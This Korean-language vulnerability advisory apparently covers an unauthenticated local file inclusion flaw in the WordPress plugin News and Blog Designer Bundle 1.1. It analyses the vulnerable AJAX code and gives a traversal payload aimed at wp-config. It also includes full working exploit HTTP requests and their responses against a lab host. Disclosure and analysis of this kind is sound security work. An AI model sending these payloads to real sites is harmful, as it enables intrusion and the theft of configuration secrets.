
WordPress의 News and Blog Designer Bundle 플러그인 버전 1.1 및 이전 모든 버전에서 template 매개변수를 통한 로컬 파일 포함 취약점이 존재합니다. 이 취약점으로 인해 인증되지 않은 공격자는 서버에 있는 임의의 .php 파일을 포함 및 실행하여 해당 파일 내의 모든 PHP 코드를 실행할 수 있습니다. .php 파일 형식의 업로드 및 포함이 허용되는 시나리오에서 공격자는 이 취약점을 악용하여 접근 제어를 우회하거나, 민감한 데이터를 획득하거나, 코드 실행을 달성할 수 있습니다.
취약점 유형: 로컬 파일 포함 (Local File Inclusion, LFI)
영향 버전: News and Blog Designer Bundle 1.1 및 이전 모든 버전
심각도: 높음 (High)
공격 복잡도: 낮음 (인증 불필요)
주요 취약점은 includes/class-nbdb-ajax.php 파일의 nbdb_fetch_more_post() 메소드에 존재합니다.
sanitize_text_field(extract( $_POST['shrt_param'] ));
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
문제1: extract() 함수의 부적절한 사용
31번째 줄 코드에 심각한 문제가 있습니다:
sanitize_text_field(extract( $_POST['shrt_param'] ));
extract() 함수는 배열의 키를 변수명으로, 값을 변수값으로 하여 현재 스코프에 직접 추출합니다.extract()의 반환값은 성공적으로 추출된 변수의 개수(정수)이며, 배열 자체가 아닙니다.sanitize_text_field() 함수는 문자열 인자를 기대하지만, 여기에는 정수가 전달됩니다.문제2: 매개변수 검증 부족
33번째 줄에서 $template 변수를 직접 사용하여 파일 경로를 구성합니다:
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template 변수는 extract($_POST['shrt_param'])에서 비롯되며, 전적으로 사용자 입력에 의해 제어됩니다.문제3: 파일 존재 여부만 확인
34번째 줄은 파일 존재 여부만 확인합니다:
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
file_exists()는 파일 존재 여부만 확인하며, 경로의 적법성을 검증하지 않습니다.$template 매개변수를 제어할 수 있다면 ../을 통해 디렉토리 트래버설이 가능합니다.include($template_file)을 실행하여 임의 파일 포함이 발생합니다.shortcodes/class-nbdb-shortcode.php에서는 모든 숏코드 처리 함수가 화이트리스트 검증을 사용합니다:
$template = ($template && (array_key_exists(trim($template), $shortcode_templates))) ? trim($template) : 'template-1';
nbdb_post_template() 함수를 사용하여 허용된 템플릿 목록(template-1, template-2만 있음)을 가져옵니다.array_key_exists()로 화이트리스트 검증을 수행합니다.template-1을 사용합니다.이는 개발자가 매개변수를 올바르게 검증하는 방법을 알고 있지만, AJAX 처리 함수에서 검증을 누락했음을 보여줍니다.
add_action( 'wp_ajax_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
add_action( 'wp_ajax_nopriv_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
wp_ajax_와 wp_ajax_nopriv_ 훅이 모두 등록되어 있습니다.wp_ajax_nopriv_는 로그인하지 않은 사용자도 접근 가능하게 합니다./wp-admin/admin-ajax.php로 전송합니다.action=nbdb_fetch_more_post를 설정합니다.shrt_param[template]에 디렉토리 트래버설 페이로드(예: ../../../../wp-config)를 주입합니다.extract($_POST['shrt_param'])을 실행하여 template을 변수로 추출합니다.NBDB_DIR . '/view/nbdb-masonry/' . '../../../../wp-config' . '.php'file_exists()가 true를 반환합니다.include($template_file)을 실행하여 대상 PHP 파일을 포함하고 실행합니다.wp-config.php)을 읽을 수 있습니다..php여야 합니다(코드에서 .php 접미사가 하드코딩됨).include()가 포함된 파일을 실행할 수 있어야 합니다. "읽을 수 있다"는 전제는 include된 PHP 자체에 가시적인 출력(echo/print/오류/프로토콜 응답)이 있어야만 내용을 볼 수 있다는 의미입니다.POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 214
action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../xmlrpc&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:12:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Connection: close
Vary: Accept-Encoding
Content-Length: 403
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>-32700</int></value>
</member>
<member>
<name>faultString</name>
<value><string>parse error. not well formed</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 270
action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../wp-content/themes/twentytwentyfour/patterns/page-home-blogging&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:51:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Vary: Accept-Encoding
Content-Length: 3185
Content-Type: text/html; charset=UTF-8
{"success":1,"data":"\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/text-centered-statement-small\"}\t\/-->\n\n<!-- wp:group {\"align\":\"wide\",\"style\":{\"spacing\":{\"margin\":{\"top\":\"0\",\"bottom\":\"0\"},\"padding\":{\"top\":\"var:preset|spacing|40\",\"bottom\":\"var:preset|spacing|40\"}}},\"layout\":{\"type\":\"constrained\"}} -->\n<div class=\"wp-block-group alignwide\" style=\"margin-top:0;margin-bottom:0;padding-top:var(--wp--preset--spacing--40);padding-bottom:var(--wp--preset--spacing--40)\">\n\t<!-- wp:columns {\"align\":\"wide\",\"style\":{\"spacing\":{\"blockGap\":{\"top\":\"1rem\",\"left\":\"1rem\"}}}} -->\n\t<div class=\"wp-block-columns alignwide\">\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"60%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:60%\">\n\t\t\t<!-- wp:query {\"query\":{\"perPage\":3,\"pages\":0,\"offset\":0,\"postType\":\"post\",\"order\":\"desc\",\"orderBy\":\"date\",\"author\":\"\",\"search\":\"\",\"exclude\":[],\"sticky\":\"\",\"inherit\":true}} -->\n\t\t\t<div class=\"wp-block-query\">\n\t\t\t\t<!-- wp:post-template -->\n\t\t\t\t<!-- wp:group {\"tagName\":\"article\",\"layout\":{\"type\":\"flex\",\"orientation\":\"vertical\",\"justifyContent\":\"stretch\"}} -->\n\t\t\t\t<article class=\"wp-block-group\">\n\t\t\t\t\t<!-- wp:post-featured-image \/-->\n\n\t\t\t\t\t<!-- wp:post-title {\"isLink\":true,\"fontSize\":\"large\"} \/-->\n\n\t\t\t\t\t<!-- wp:template-part {\"slug\":\"post-meta\"} \/-->\n\n\t\t\t\t<\/article>\n\t\t\t\t<!-- \/wp:group -->\n\n\t\t\t\t<!-- wp:post-excerpt {\"moreText\":\"\",\"excerptLength\":40} \/-->\n\n\t\t\t\t<!-- wp:spacer -->\n\t\t\t\t<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\">\n\t\t\t\t<\/div>\n\t\t\t\t<!-- \/wp:spacer -->\n\t\t\t\t<!-- \/wp:post-template -->\n\n\t\t\t\t<!-- wp:query-pagination {\"paginationArrow\":\"arrow\",\"layout\":{\"type\":\"flex\",\"justifyContent\":\"space-between\"}} -->\n\t\t\t\t<!-- wp:query-pagination-previous \/-->\n\n\t\t\t\t<!-- wp:query-pagination-numbers \/-->\n\n\t\t\t\t<!-- wp:query-pagination-next \/-->\n\t\t\t\t<!-- \/wp:query-pagination -->\n\n\t\t\t\t<!-- wp:query-no-results -->\n\t\t\t\t<!-- wp:pattern {\"slug\":\"twentytwentyfour\/hidden-no-results\"} \/-->\n\t\t\t\t<!-- \/wp:query-no-results -->\n\t\t\t<\/div>\n\t\t\t<!-- \/wp:query -->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"30%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:30%\">\n\t\t\t<!-- wp:template-part {\"slug\":\"sidebar\",\"tagName\":\"aside\"} \/-->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\t<\/div>\n\t<!-- \/wp:columns -->\n<\/div>\n<!-- \/wp:group -->\n\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/cta-subscribe-centered\"}\t\/-->\n","count":1}